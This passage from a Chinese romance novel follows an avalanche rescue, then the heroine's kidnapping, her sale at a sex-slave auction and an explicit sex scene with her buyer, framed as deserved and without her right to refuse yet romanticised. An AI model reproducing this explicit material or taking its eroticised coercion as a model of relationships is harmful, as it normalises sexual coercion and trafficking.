    到那時,受傷害的,只會是她:.:


    整整一個星期,闕雲岫與南宮燁在那個小小的滑雪度假村整整相處了一個星期。


    雖然闕雲岫從不會主動與他攀談,南宮燁也不打擾她,但在她滑雪時,他卻總出現在她的四周。


    知道他一直跟在自己的身旁,也知道他的眼眸一直追隨著自己,但闕雲岫只是裝成沒看見,繼續滑雪。


    她沒有提前離去,因為她覺得自己沒有必要把他當成什麼特殊人物來看待,若她真的走了,那才代表心中有鬼……


    闕雲岫不斷地這樣告訴自己,然後日日在餐廳、雪道、纜車旁,無視他眼眸中的淡淡笑意,冷冷地與他擦肩而過……


    第八天,當闕雲岫依然滿懷心事地在坡道上滑行時,突然,一聲槍響劃破山間的寧靜!


    心中一驚,闕雲岫立刻停下動作,回身一望——


    此刻她才發現,本來沒什麼人的高級滑雪坡道,如今居然出現了一群人,個個滑雪技術高超,似乎在追逐著某個人。


    「來幾個人去追那個女人!」遠遠地,闕雲岫聽到有人用華語高喊,「不管她是誰,先逮著她再說!」


    心中一凜,闕雲岫倏地轉過頭去找尋南宮燁的身影。


    在這個度假村中的華人只有兩個,這群人的目標顯而易見!


    遠遠望去,闕雲岫看見穿著全套深藍色滑雪裝的南宮燁似乎有意阻撓追向她的那一批人,因此不斷地來來回回在那群人不遠處穿梭著,一方面阻撓他們朝她的方向過去,一方面吸引著所有人的注意!


    他在幹什麼?快逃啊,難道他不曉得那群人手中有槍嗎?


    一滴汗,由闕雲岫的頰上流下,她取出懷中的衛星電話,鎮靜地對當地的警方朋友說明情況。


    但她才掛掉電話,就聽到一串連珠炮似的槍響,而後,那個藍色的身影突然消失在她的視野之中!


    「我打中他了,我打中他了!」


    「追!活要見人,死要見屍!」


    聽到這些話,闕雲岫倏地瞪大了眼,手中的電話也掉落到雪地上。


    他受傷了嗎?要不要救他……


    雖然心中不斷地權衡、掙扎著,但闕雲岫的眼眸卻很自然地開始搜尋著南宮燁的去向。


    她知道自己沒有太多的時間慌亂,因此很快地觀察了一下地形,小心翼翼地避開敵人,由另一個方向往南宮燁最有可能躲藏的那片樹叢滑去!


    她一定要在他們之前找到他,一定要!


    悄悄地滑到樹叢之中,闕雲岫尋找了半天,終於在一個極隱密之處找到了南宮燁。


    眼一瞇,闕雲岫滑至南宮燁身前,迅速剝開雪衣檢視他肩上的槍傷。


    「你不該來的。」南宮燁皺著眉低聲說道,「快走!」


    闕雲岫一句話也不說,只是專注地處理著南宮燁的傷口,但因槍彈已沒入他的體內,她只能暫時為他止住血勢。


    「你怎麼樣?」半晌後,闕雲岫扶起南宮燁,望著他失去血色的臉以及肩上依然滲出血絲的傷口,「能走嗎?」


    「你快走!」聽著四周愈來愈近的腳步聲,南宮燁粗暴的將闕雲岫推開,自己朝聲音的來源處走去。


    不料,闕雲岫竟然緊緊扣住他的身子,用一種令人無法想像是由她纖細身軀內生出的巨大力氣,將他拖往樹旁,然後手一揚,張開一塊奇特的布遮住他們,另一手則摀住了他的嘴。


    接下來,搜索者來來回回的在他們四周走動、尋找著,卻沒有人能發現他們的身影……


    「去另一邊找,快!別讓人跑了!」


    不知過了多久,待週遭的聲音都消失後,闕雲岫才鬆了一口氣,而這時,也才發現自己的身子竟全濕透了!


    「你有這本事,為何還老被我欺負……」望著闕雲岫汗涔涔的額頭,南宮燁突然笑了起來,眼眸那樣的晶亮,「小野貓……你這輩子注定被我吃定了……」


    「都什麼時候了你還胡說!」瞪了南宮燁一眼,闕雲岫再度扶起他,將他的手架在自己的肩上,警戒地看著四周。


    「為什麼救我?」南宮燁低沉的嗓音響起,「像我這種人,你不是該讓我自生自滅的嗎?」


    「因為你救過我。」闕雲岫邊走邊低聲回答,「自此以後,我們兩不相欠。」


    「我不記得你曾經欠過我,」南宮燁的聲音又傳了過來,而他的語氣不知為何有點詭異,「你救我的原因真會如此單純?」


    「你有完沒完?」不耐煩地抬起頭來,闕雲岫低咒道,「你就不能像個受傷的人,乖乖地閉上你的嘴嗎?」


    她才說完這句話,就發現南宮燁動也不動地定在原地,眼眸嚴肅至極地望著遠方。


    「怎麼了?」闕雲岫不自覺的順著南宮燁的視線望去。


    「剛才的槍聲引發雪崩了!」一把拉過滑雪板踩在腳下,再攔腰抱起闕雲岫,南宮燁的動作像豹一樣迅捷,開始往山坡疾速滑下,「抱緊我,千萬別鬆手!」


    依言,闕雲岫緊緊地摟住南宮燁的頸項,並將頭埋在他的懷中,以免遮擋住他的視線。身後,隆隆的雪崩聲響不斷地追著他們,而且有愈來愈近的趨勢!


    下滑的速度是那樣的快,快的闕雲岫幾乎都能感覺得到當雪塊打在身上時,自己的背上就像被石塊打到似的疼痛,但她只是緊緊咬住牙,不讓任何聲音由口中發出。


    因為她明白,自己身後的那名男子,承受的風阻與被襲擊的面積比她的更重、更大!


    「夜兒,」聽著那如雄獅怒吼般的崩雪聲,望著前方一塊高高聳立在半空中的大石,南宮燁突然開口,「我要抱著你躍下一塊大石,你怕嗎?」


    「不怕。」抬起頭,望著那個神情從未如此凝重的男人,闕雲岫毫不遲疑地說著。


    是的,她不怕。


    明知道南宮燁此舉有些冒險,明知道將自己的生命交予這個一直與她對立的男人是件奇怪的事,但聽著他那樣親暱地喚她「夜兒」,並且依偎在他堅實的懷中,不知為何,她真的什麼也不怕……


    「那我們走吧。」低下頭,望著闕雲岫全然信賴的眼眸,南宮燁笑了。


    而說完這句話後,他緊緊地抱住闕雲岫,牙一咬,任兩人飛過那塊大石,在空中騰飛了兩秒後,一起墜落在雪地上!


    一當身子沾著雪地,顧不得身上的疼痛,南宮燁立刻捉住闕雲岫的手,迅速地拉著她滾入大石之下!


    而那陣如狂浪似的雪,也在同一時刻,鋪天蓋地的覆下……


正文 第七章


    由於大石的幫助,南宮燁與闕雲岫沒有被雪堆完全埋住,而是處在一個小小的、漆黑的空間之中。


    待神智完全恢復後,南宮燁感覺到左肩隱隱作痛,而寒氣也開始由他靠著雪牆的後背滲入四肢,他低咒了一聲,問道:「你沒事吧?小野貓。」


    「我沒事。」闕雲岫忍住身上的疼痛,抬起頭轉向聲音的來源處,「你的傷怎麼樣了?」


    「這你倒不必擔心,」南宮燁笑了笑,開始探查著四周,「如果沒人發現我們,我在『怎麼樣』之前就會先凍死,不會再有任何的感覺。」


    「你……」都這樣了還嘻皮笑臉!闕雲岫在心底歎了一口氣,學著南宮燁的動作,四處采查著雪壁,看看是否有哪個部分比較薄,可以供他們挖穿而出。


    但答案卻令人有些洩氣。半晌後,在發現他們的處境不是太好之後,南宮燁與闕雲岫肩並肩地坐在一起,盡可能保存著體力等待救援。


    「冷嗎?」不知過了多久,闕雲岫再度聽到南宮燁的聲音。


    「還好。」闕雲岫淡淡地回答,但她明白,這也只不過是安慰自己的話語罷了,處在這個密閉的雪洞之中,就算身上穿著再多衣裳,終究還是抵擋不住寒意的。


    隨著時間的流逝,闕雲岫只覺得身子愈來愈冷,背上傳來的極凍感簡直令她四肢百骸都要結冰了,而她的牙齒,也不受控制的打起顫來。


    為了掩飾自己的反應,闕雲岫緩緩地挪動著身子,但突然,她被人一把抱了過去!


    低呼了一聲,闕雲岫感覺到南宮燁拉開她的雪衣,然後又將目標栘向她雪衣內的所有衣物!


    她用力的掙扎起來,卻徒勞無功,南宮燁不僅霸道的撕開了她的衣物,還將她赤裸的上半身整個貼至他同樣赤裸的前胸,而手,牢牢的握住她的纖腰。


    「雖說牡丹花下死,做鬼也風流,」半晌後,南宮燁低沉的嗓音緩緩由她頭頂上傳來,「不過你放心,我不會對一個都快凍成冰棍、不會有任何響應的女人感興趣。」


    「你……」感覺著一陣暖意由南宮燁的胸口傳至自己身上,闕雲岫沉默了半晌後低聲問道:「為什麼……」


    「因為我還想活著出去跟熱騰騰、有反應的女人歡愛。」南宮燁吊兒郎當的說著,只是聲音中已帶有一絲受傷後的虛弱,「更何況,這一切全因我而起。」


    知道他在安撫她,因為他是聽到她牙關打顫的聲音後才如此做……


    靠在南宮燁溫暖的懷抱中,闕雲岫生平第一次有種被人保護、疼惜的安心感受……


    「跟我說話!」又過了好一陣子,感覺到闕雲岫的體溫已開始下降,隨時有昏迷的可能,南宮燁一面用手掌搓著她的皮膚,一面著急地說道。


    「我……」臉頰幾乎都僵了,意識也有些渙散了,但闕雲岫還是困難地張開了雙唇,「好。」


    「好好的一個如花似玉的姑娘家,為什麼要做這麼危險的工作?」緊緊摟住闕雲岫,南宮燁問著。


    「不危險……」聽著南宮燁語氣中的不以為然,闕雲岫淡淡的笑了,只是她的臉頰幾乎牽扯不動了,出口的話聲也含糊不清。


    「還不危險?」南宮燁低斥道,輕輕搓著她冰冷的臉頰,「清白都快被一個壞男人奪去了還不危險?連命都快沒了還不危險?那你告訴我什麼才叫危險?」


    「等我對任何事都無動於衷……任不公平的事在我眼前發生卻不聞不問……」倚在南宮燁的懷中,闕雲岫喃喃說著,「那才叫危險……」


    「你的男人都不管你嗎?」


    「我……沒有男人。」闕雲岫低聲說著。


    「是,你不說我差點忘了,」南宮燁低聲笑了起來,只是笑聲也很虛弱了,「為什麼不找個男人來愛你?都看不上?」


    「你管不著。」闕雲岫的聲音更低了。


    「那可不一定,」南宮燁喃喃說著,「只是如今,我還真希望我管得著……對了,你的家人放心你做這麼危險的事?」


    「我沒有家人。」聽到南宮燁的話,闕雲岫的心微微一抽疼,「我的家人早在我七歲時就……全……離開了。」


    「意外?」南宮燁愣了愣,問道。


    「是意外,也不是意外……」闕雲岫斷斷績續地說著,「是一件有預謀的……滅門……只是,找錯了對象……」


    是啊,一個讓人悲傷的意外,一個令她失去所有、也幾乎失去生命的意外……


    「原來如此。」許久許久之後,黑暗中才又響起了南宮燁的聲音,「難怪你那樣嫉惡如仇了。」


    「我不是嫉惡如仇,」闕雲岫輕輕地搖了搖頭,「我只是希望……這世上……再不會有人像我一樣……」


    「這世上……確實很難再找到像你一樣的女人了。」沉吟了一會兒後,南宮燁喃喃地說著。


    「那你……為什麼要做那些事?」聽見南宮燁語帶雙關的回應,闕雲岫靜默了一會兒後,輕輕問道。


    「我?」南宮燁的身子僵了僵,但他隨即又笑了起來,「為什麼不?我可沒有因家人被歹徒殺光,而必須從此後以天下為己任。」


    「你……」討厭他那樣自嘲的語氣,闕雲岫抬起頭,望著他聲音的方向,「這樣的生活……有意思嗎?」


    「意思?」南宮燁別開臉,吊兒郎當的說著,「我不懂什麼叫有意思,人活在世上,不就貪圖個自在快活嗎?」


    「若真是如此,」小手撫上南宮燁的臉,將他轉向自己,闕雲岫一個字一個字的說著,「你為何不坐擁你的金錢王國,夜夜笙歌,反而要讓自己不斷地追求危險,不斷地用冒險來刺激自己,以明白自己還活著?」


    「你……」南宮燁身子一僵,半晌後才喃喃自語,「所以我說我討厭有腦子的女人,胸大無腦的女人才讓人喜歡。」


    「你討厭就討厭……反正我不需要說你喜歡聽的話……」


    「生氣了?」聽著闕雲岫賭氣的話語,南宮燁輕笑了起來,突然抱緊她,「還冷嗎?」


    「不冷。」闕雲岫喃喃地說著。


    說不冷是騙人的,但是此時此刻,說冷又有什麼用呢……


    「那麼倔強幹什麼……」感覺著闕雲岫愈來愈冰冷的肌膚,南宮燁低聲說著,將自己及她的下半身衣物全去掉,與她四肢交纏,再將所有的衣物都蓋在她身上,繼續聊著。


    但四周是那樣的酷寒,就算南宮燁的體溫也無法再溫暖闕雲岫了!


    時間不斷地流逝,就聽得闕雲岫的聲音愈來愈低,回答的字數也愈來愈少,到最後,幾乎等於零!


    「不准睡!」輕拍著闕雲岫的臉頰,南宮燁激動的說著,「我不准你睡!」


    「我好困……」在南宮燁的拍擊下,闕雲岫恍恍惚惚的說著,突然,她整個人一愣,因為他竟吻住了她的唇,雙手撫遍了她的全身上下,「你怎麼……」


    一會兒之後,南宮燁突然又放開了她,完全地放開!


    「你想……干……什麼……」心中一動,闕雲岫問道。


    「我可是個男人,不是你這種不懂生活、只為別人活的女人。」


    咬住牙關,南宮燁草草地穿了幾件輕便的衣物,也為闕雲岫穿上了衣物,但他卻將自己的毛衣、雪衣全蓋在闕雲岫的身上,並將她拉至雪洞中一個最安全的角落裡。


    「我還想活著出去見各式各樣的美女、品各種香醇的美酒、開各式各樣的跑車。」


    聽著南宮燁在遠離她的雪壁上不斷敲打,闕雲岫的心中已是一片雪亮——他想救他們出去!


    果然,接下來,她便聽見他用東西挖雪的聲音。


    「你……」顫抖著唇角,闕雲岫的眼眸整個矇矓了,「不要這樣……你的傷會惡化的……」


    是啊,他的肩上還有槍傷啊,而他自己也已經凍得受不了了啊……


    「無所謂,再怎麼樣都比在這裡等死好。」南宮燁微微喘息的聲音,與挖雪聲夾雜在一起,「更何況,我可擔不起那些愛戴你的男人們,在知道他們的夜影女俠居然半裸著與我這種浪子相擁而死時,對我如海潮般的唾罵。」


    「你不要這樣……」


    淚水,在冰冷的臉上顯得那樣的灼熱,闕雲岫不斷地低呼著,但南宮燁卻不再搭理她,只是一個勁地向外挖著。


    「聽好,出去以後再別讓我在任何危險的場合看到你,否則……」


    在這句話之後,南宮燁再也不出聲了,只是努力地向外挖著,雖然感覺到自己肩上湧出的血幾乎已弄濕了衣衫,但他絲毫不以為意……


    是的,他可以死、也不怕死,反正一直以來的他都是醉生夢死,沒有目標、沒有朋友,也沒有人關心他,活著眼死了也沒兩樣。


    可是她不行!


    她那樣美麗、那樣聰慧,這世上需要她的人還有那樣的多,他絕不能讓她就這麼合上眼眸,絕不能……


    他一定要讓她活著,好好的、美麗的活著!


    望著窗外的細雨,闕雲岫傻傻地坐在自己的床上,動也不動一下。


    是的,自己的床上。半個月前,她由那個美麗的白雪國度中回來了。


    最終她真的獲救了,只是當她醒來之後,身旁僅有擔心她的瑞士朋友,沒有他。


    沒有人知道南宮燁究竟去了何處,只知道當他終於挖通一個出口,用盡最後一絲力氣朝那些在附近的搜救人員呼救,而所有人開始手忙腳亂的營救闕雲岫之時,他便消失在人群中。


    回國後,闕雲岫利用所有可動用的資源,在全世界秘密搜尋著他的行蹤,只是至今,依然沒有他的下落。


    他不會那樣輕易便死去的,他可是「沙漠之狼」啊!


    他一定真如他自己所說的,去見各式各樣的美女、品各種香醇的美酒、開各式各樣的跑車了……


    不知有多少回,闕雲岫這樣告訴著自己,期望自己能恢復成往日的那個「夜影女俠」,讓自己的生活走回原來的軌道,不再偏離。


    只是,不可能了,再不可能了!


    不必問自己為什麼,因為闕雲岫明白,她縱使欺騙得了任何人,卻欺騙不了自己的心——


    她確實為這名男子動了心。


    一直以為自己不會那樣輕易的心動,更不會對那樣一個行為處事與自己相差十萬八千里的男人心動,可是,打從第一次與他交手開始,她就記住了這個男人。


    記住了這個其實優秀、其實智慧,其實能讓他自己大大方方出現在陽光下,但卻選擇了另一條路的男人。


    闕雲岫不想去探究是什麼樣的環境、什麼樣的原因,讓他做了那樣的選擇,如果……如果當初他做的是另一個選擇,那該有多好……


    只是,沒有如果。


    所以如今,她只希望他能給她一個消息,別再讓她如此牽腸掛肚……


    只要讓她知道他還在這世界上的某個角落活得好好的,只要讓她對他表達出自己由衷的謝意後,她會學著收回自己那顆不該浮動的心,然後……然後……


    眼眸,又悄悄地矇矓了起來,就在此時,房內的電話響了起來。


    「岫子?」


    「東方!」一聽到那個熟悉的聲音,闕雲岫立即由床上跳了起來,快速地按下通話鍵,聲音微顫,「有消息了嗎?」


    「聽說他三天前曾在法國南部的小城奧朗日出現過。」東方亞一邊翻閱著手中的資料,一邊仔細地交代來龍去脈。


    「我知道了,」迅速地接收東方亞傳來的數據,闕雲岫總算露出這些天來的第一個笑容,「謝謝你了,東方。」


    「岫子!」就在闕雲岫打算關閉通訊之時,東方亞急急的叫住了她,「這也許是個陷阱,畢竟這個消息來源有些古怪。」


    但闕雲岫聽了之後,卻只是淡淡的笑著,「就算是陷阱,我也一定要去。」


    是的,她一定要去!


    親自去向他道謝,望上他最後一眼,自此後,雲淡風輕……


    「戀愛中的女人真是不理性,就算是夜影女俠也一樣……」望著闕雲岫堅決的目光,東方亞無奈的嘀咕了兩聲後,不忘叮嚀著,「要小心,岫子,一定要小心!」


    「我明白,我會的!」


    丟下電話後,闕雲岫立即整理行裝,在第一時間內趕至法國,因為,他在那裡……


    雖然明知道這極有可能會是個陷阱,但闕雲岫必須去,無論花什麼樣的代價,她都要知道南宮燁的下落。


    只是,心亂如麻的闕雲岫卻忘了兩件事,那就是——


    至今,她依然不清楚南宮燁的長相究竟為何,並且,她也錯估了他在她心目中的重要性。


    也因此,就算處處小心提防,闕雲岫依然在最後一刻疏忽了。


    當她抑制住心中的激動,緩緩地走向那個熟悉的背影、被他摟在懷中之時,她的腦子有片刻的停頓。


    直到察覺那副身軀並無南宮燁特有的氣息,她還來不及採取行動,腦後就傳來了一陣劇痛!


    忍住那陣痛意,闕雲岫強打起精神與一群身份不明的敵人糾纏著,無奈雙拳難敵四手,她終究是落了下風。


    當她再也舉不起武器,眼前也出現因藥物作用而產生的五彩繽紛怪異畫面時,闕雲岫恨恨地、緩緩地倒下了。


    「是她嗎?」一個戴著墨鏡、面容冷肅的男人走至闕雲岫身旁,冷冷的問著。


    「絕對是她。」一個身材中等的男人點了點頭,「當初南宮燁確實是為了她,才會到瑞上去的。」


    「長得確實不錯,」用腳將闕雲岫的臉轉向正面,墨鏡男子凝視了她三分鐘後緩緩說著,「就算南宮燁不出現,我們也可以用她賺上一大筆錢。」


    「不,你錯了。」此時,另一個人悄然出現在墨鏡男子的身後,「只要有了她,南宮燁一定會出面。」


    「你為什麼那麼肯定?」墨鏡男子瞇起眼問著。


    「因為,」他身後的男人淡淡地說著,「過往,在做案得手後的三個月內,南宮燁從不會離開他的老巢,但這回卻為了她而破例。」


    「那就好,」墨鏡男子嘿嘿地冷笑了起來,「膽敢搶走我們的貨物,還夥同國際警察將我們圍剿得狼狽至此,這個仇,天盟一定要報!」


正文 第八章


    幽幽地由幻夢中醒來,闕雲岫掙扎地想坐起身來,卻使不出一絲力氣,而她的眼前也蒙上了一層紅紗,完全看不到外在的景物。


    她只聽得四週一陣吵雜,但奇怪的是,那陣吵雜聲好像又隔著一層玻璃似的,模模糊糊的聽不清真切……


    「任何人都可以競標,底價五千萬美金。」


    競標?競標什麼?在闕雲岫覺得有些詭異之時,又聽到有人揚聲——


    「那總得先看看貨色,看看這女人究竟值不值得這個價!」


    老天……他們所說的「標」……難道是她?!


    「各位可以看看手中的說明書,就可以知道這件貨值下值這些錢,來人,打開。」


    被蒙住雙眼,心中突生寒意的闕雲岫,只聽得主持人一聲令下之後,她的身旁便響起了一陣窸窸窣窣的聲音,而後,整個會場都鬧騰了起來!


    但此刻的闕雲岫怎麼也不會知道,她正幾近於赤裸,被會場中幾十雙眼睛那樣直接、無禮地瞪視著。


    被困在透明玻璃箱中的闕雲岫,微傾的小臉上帶著淡然與冷漠,但卻掩蓋不了她精緻絕美的五官。


    她的雙手被綁至頭頂,全身則穿著一襲透明輕紗,隱隱約約之中,可看出她的身軀是那樣玲瓏有致,雙腿是那樣修長……


    霎時間,會場上響起一陣又一陣滿意的低語聲。


    「六千萬。」開始有人喊價了,而自此後,喊價聲此起彼落。


    「七千萬。」


    「八千萬。」


    「一億。」突然,一個冷峻的聲音壓過了所有人。


    「一億五千萬。」望了望出價一億的男子,另一個胖男人一咬牙,舉起了手中的牌子。


    「五億。」男子眼眸一瞇,聲音更冷了。


    「五億五千萬!」


    「十億。」最後,那個冷冽的聲音再度響起,而四周在一陣抽氣聲後倏地變為靜默,連根針掉到地上都聽得見,「十億美金。」


    「十億美金一次、十億美金兩次、十億美金三次,成交!」


    聽著主持人滿含笑意的聲音,闕雲岫不由自主的顫抖了起來。


    因為她終於明白了,她,竟在今日成了那個向來只開放給世界富豪的「性奴」拍賣場中的一件貨物,一件價值十億美金的貨物!


    偌大的古堡二樓轉角處,有一間房內燈火全無,呼嘯的風聲吹得窗欞啪啪作響,而山雨欲來的雷鳴聲,更使氣氛顯得陰森。


    這問房內,只有一張歐式大床,床的四周被輕紗籠罩,而躺在這張柔軟大床上的,正是闕雲岫!


    此時的她,全身冰冷,腦子卻是異常的冷靜。


    從來沒有想過她會有這樣的一天,不僅被注射了令人全身虛軟無力的藥劑、不僅被當成貨物公開拍賣,還成為一個價值十億的「性奴隸」!


    真可笑,想不到她竟會淪落到這般境地,無論說給誰聽,都沒有人會相信的。


    但她誰也不怪,畢竟,若不是她犯了錯,若不是她的心太浮動,怎會中了別人的計、吃了這樣的虧、受了這樣的恥辱?


    早知如此,她還不如把身子給了南宮燁,給了那個雖與她分隔兩個世界,但卻救了她多次的男人……


    現在想這些又有什麼用呢?


    閉上眼苦澀地笑了起來,闕雲岫就這樣靜靜地聽著窗外如狼嗥似的風聲,然後在厚重木門被人推開時,倏地睜開了雙眸。


    門,砰的一聲合上,而後,一個沉重的腳步聲迴盪在房間之中,最後,停在她的床前。


    看樣子,她的買主來了……


    在心中長長的歎了口氣,闕雲岫聽著床旁那脫去衣衫的窸窣聲,以及掀開輕紗的聲音,緩緩地握緊了雙拳。


    但奇怪的是,來人並沒有立即對她有所動作,直到許久許久之後,一雙大掌,才突然握住了她胸前的半邊豐盈!


    他的用勁是那樣的大,讓她幾乎忍不住痛呼出聲!


    「唔……」闕雲岫皺緊雙眉,緊緊地咬住了下唇,不讓自己發出半點聲音。


    她將全部的注意力都放在窗外,專心地聆聽著那似乎在為她淚流的滴滴雨聲……


    該來的,總要來的。


    但來人似乎完全明白她的思緒,竟在冷笑一聲之後,用膝蓋粗暴地撐開了她緊夾的雙腿,然後無情地撕碎了她身上的麻布裙,將一根手指,刺入她未經人事的處子花道之中!


    痛得弓起了身子,闕雲岫的雙拳握得更緊了,指尖深深戳進她的掌心之中……


    順勢將她弓起的腰身緊緊托住,來人又刺入了第二根手指!


    咬緊牙關,闕雲岫極力地忍受著那股椎心的疼痛,但她知道,若來人再伸入一指,她將再也無法承受了……


    當來人的第三根手指緩緩爬上她的花辦時,闕雲岫的身子終於開始微微地顫抖。


    但奇怪的是,男人卻沒有如闕雲岫預想般再侵害她,反而是撤出了所有的手指,將火熱的堅挺緊緊抵住她乾涸的花口!


    一直以為自己可以無動於衷的,但闕雲闕此刻才明白那根本就是癡人說夢!


    再也忍受不了一個陌生男子與自己如此親密接觸,闕雲岫終於伸出手用力地推著那副胸膛,雖然她明白,這個動作根本沒有任何的用處。


    突然,她愣住了,因為鼻間傳來一陣淡淡的男人味道,如此熟悉……


    「是你嗎……」黑暗中,闕雲岫不敢置信的呢喃著,而雙手,緩緩地落到了床單上。


    是他,買下她的人竟是他——南宮燁!


    那個在山難之後讓她苦苦尋找,以為再也見不到的男人!


    而今天,他終於又出現了,並且再次救了她,只是……竟是用這樣的方式……


    「對,是我。」南宮燁冷冷的說著,在發現闕雲岫突然放棄掙扎之後,眼眸整個瞇了起來,然後一把將蒙住她眼眸的紅紗拉下。


    「真的是你……」她又重複了一次同樣的話,因為她的心情是那樣的複雜,複雜的不知道該如何形容。


    「你早該知道會有這麼一天。」發現闕雲岫的身子不再緊繃之後,南宮燁的聲音更冷冽了,「要怪只能怪你的剛愎自用、自以為是,怪你從來不聽別人的勸告!我不是早叫你別出現在任何危險的地方了嗎?」


    「那又如何?」不想解釋自己為何來到這「危險」的地方,闕雲岫只是輕輕歎了一口氣,而後突然低喃了一聲,「啊……」


    「那又如何?」幾乎被闕雲岫的回答氣壞的南宮燁,一拾手,緊緊握住她胸前的柔嫩雙峰用力搓揉著,「明知要被男人這樣對待著,你居然只說那又如何?」


    「呃……」那雙粗糙大掌,幾乎將她雙乳都揉痛了,但不知為何,闕雲岫發現自己的乳尖竟在不知下覺中挺立了!


    老天……


    有些不敢置信的輕歎著,因為闕雲岫沒有想到自己竟會在他充滿怒意、沒有半絲溫柔的逗弄下有了反應。


    是因為知道大掌的主人是他嗎?


    是吧……她早明白的……


    「你……」南宮燁同時發現了這個變化,他愣了愣,動作倏地放柔下來。


    他輕輕拈住闕雲岫緊繃、敏感的紅櫻桃,柔柔地搓弄了起來,然後聽著身下女人的呼吸愈來愈急促、呢喃愈來愈嬌柔……


    「啊……」胸前熱的像被火灼一樣,闕雲岫不住的輕喘,而手,緊緊拽住了床單,「不要……」


    她怎麼了?


    聽著耳畔那甜膩、性感、令人銷魂的陣陣啼呼,南宮燁的心中升起了一陣極為複雜的情緒。


    她自暴自棄了嗎?否則為何會如此回應他?


    她以往不是一直抗拒他的嗎?不是一直與他針鋒相對的嗎?為何今天會如此溫順?還在知道買主是他後,原本緊繃的身子整個放鬆、柔軟了!


    難道她是想報恩,報他的救命之恩?


    這個念頭迅速地在南宮燁的腦中浮現,但他很快地搖去了這個想法,一口含住闕雲岫胸前的粉紅色乳尖!


    他用舌尖不斷地舔弄著她,用牙齒啃嚙著她,而另一手,則輕彈、輕扯著她另一邊的乳尖,一回又一回……


    「我……啊……」嬌喘微微、嬌啼連連。


    在南宮燁嫻熟的逗弄之下,闕雲岫的全身滾燙至極,而她的下腹湧出了一股巨大的熱流,沿著她的四肢百骸胡亂竄動著……


    她為這個男人動情了!


    闕雲岫明白,否則自己的下半身下會溢出那樣多的蜜汁,多的幾乎讓她身下的床單都濕透了……


    羞澀的夾緊了雙腿,因為闕雲岫不想讓他知道。


    畢竟對他來說,她只是他眾多女人中的一個,可他,卻有可能在今夜成為她唯一的男人。


    而她,願意……


    但闕雲岫青澀的動作怎逃得過南宮燁的眼底?


    他用膝蓋撐開她緊夾的雙腿,大掌往下一滑,整個覆住她溫熱濕潤的花辦,冷冷地笑了起來。


    「居然已經這樣濕了!」


    「你不要……」聽著南宮燁邪肆又諷刺的語氣,闕雲岫的心整個抽痛了,而臉,無助的嫣紅了。


    「不要?」冷哼了一聲,南宮燁將闕雲岫的雙腿架至自己肩上,手指精準地掐住她身下的花珠。


    「呀啊……不……」一股強烈的電流襲上闕雲岫的全身,讓她再也忍不住地高聲嬌啼了起來。


    聽著那一聲聲的嬌啼在偌大的房內迴響著,聽著那不似出自自己口中的浪吟、低哺,闕雲岫整個人都恍惚了……


    是她嗎?這個叫聲如此淫媚、如此甜膩的女人是她嗎……


    當闕雲岫如夢如幻的媚啼聲沁入南宮燁的心中時,他整個身子都僵住了,而手指,再也忍不住的侵入她那濕潤又溫熱的花徑中,開始輕勾、慢挑……


    「呃……」被架至南宮燁肩上的雪白雙腿整個繃緊了,闕雲岫紅唇微啟,不住的輕喃著,「我……啊……」


    因為她的花辦整個暴露在微涼的空氣中,而南宮燁熟練的挑逗幾乎攝走了她全部的心神!


    此刻的她只感覺得到身下那不斷翻起的熱浪,以及那股幾乎令她瘋狂的渴望……


    她竟渴望被他佔有,渴望在他的懷中,成為一個真正的女人!


    「你今夜為何如此媚浪……」感受著闕雲岫那緊緊夾住自己手指的彈性花徑,南宮燁喃喃的說著。


    心中又苦又甜,但闕雲岫明白,她不想讓這個男人知道自己的心事。


    她要將這個秘密永遠藏在心中……


    「因為……就算今日要我的不是你……依然……會有別的男人……要我……我何不……」


    窗外電疾風狂,大床上的輕紗來回飄動,而南宮燁的身子整個緊繃!


    他氣她說出口的話!


    他氣她不聽他的勸告,再度出現在她本不該出現的危險場合中!


    他氣她……


    突然一個閃電,讓闕雲岫望見了自己身前的男人,雖只有短短的一瞬間,她望見了他——真正的他!


    她望見眼前那張英挺、俊逸、充滿怒氣的臉龐……


    但就在同時,闕雲岫也感覺到了身下傳來一陣被撕裂般的劇痛!


    「呀啊……燁……」當自己的處子薄膜被南宮燁衝破時,闕雲岫尖叫了起來,而四周,再度回復成一片黑暗!


    「我不會對你溫柔的,因為這是你應得的!」黑暗中,南宮燁的聲音冷冽,但他的動作卻是那樣的溫柔。


    他沒有將自己的堅挺整個埋在闕雲岫體內,他只進入了一些後,便動也不動一下,等待她習慣他的碩大、習慣他的存在。


    「好痛……」像撒嬌似的,闕雲岫輕泣了起來。


    她真的不明白自己為什麼會在這個男人面前顯現出如此的女子嬌態,明知不該的,可她卻控制不住!


    因為她感覺得到,感覺得到這個男人雖然口中那樣無情,實際上卻疼惜著她,像男人疼惜著心愛女人似的……


    「活該!」聽著身前闕雲岫嬌柔、引人憐愛的低泣聲,南宮燁無情地低斥著,但心,卻整個亂了。


    「呃……」當南宮燁試著挪動自己緊繃的堅挺時,闕雲岫又嬌聲呢喃了起來,「不要……疼……」


    「你以為你還有說不的權利嗎?」南宮燁口不對心的說著,「你不過是只要花錢便可以買下來玩弄的性奴隸!」


    一想到若自己今天不在會場,若自己沒有錢買下她……


    用力一衝刺,南宮燁將自己全部埋入那個濕熱緊窒的花道中!


    「啊……」花徑整個被貫穿、被撐大的劇痛,讓闕雲岫緊緊的捉住床單,「不要……啊……好痛……」


    「隨便一個男人,只要有錢就可以這麼玩你!」一手與闕雲岫的手交纏著,南宮燁用另一手輕輕地托住她的腰身,讓自己的火熱堅挺就著她源源不絕的蜜汁,緩緩地滑動著,「你是咎由自取!」


    「燁……」當那陣痛意漸漸退去之後,闕雲岫感覺到自己的花徑中有種莫名的充實與異樣的歡愉感,而南宮燁溫柔又輕淺地滑動,讓她渾身興起了一股戰慄,「燁……」


    「不要叫我!」感覺著闕雲岫的花徑開始不自由主的緊縮,南宮燁幾乎想瘋狂的衝剌起來,但他依然忍住了,「反正今天強佔了你的男人是誰,對你來說根本不重要!」


    怎麼會不重要?一陣霧光由闕雲岫的眼中緩緩升起。


    若不是他買下了她,若不是……那現在的她,根本不敢想像自己的遭遇會是如何的可怕……


    但她不會讓他知道,絕不會讓他知道。


    因為她本不能、也不該對這個浪子動心的!


    他們不是一個世界的人,甚至,也許一生一世都要對立……


    司來不及了……


    既然這個事實已無可改變,那她……


    「燁……」輕輕喘息著,闕雲岫別過臉,緩緩地搖擺起腰肢,花徑悄悄地一收縮。


    她知道他的自制力一直很強,否則先前幾回不會放她全身而退,但如今的她只想知道,他會不會為她而失控……


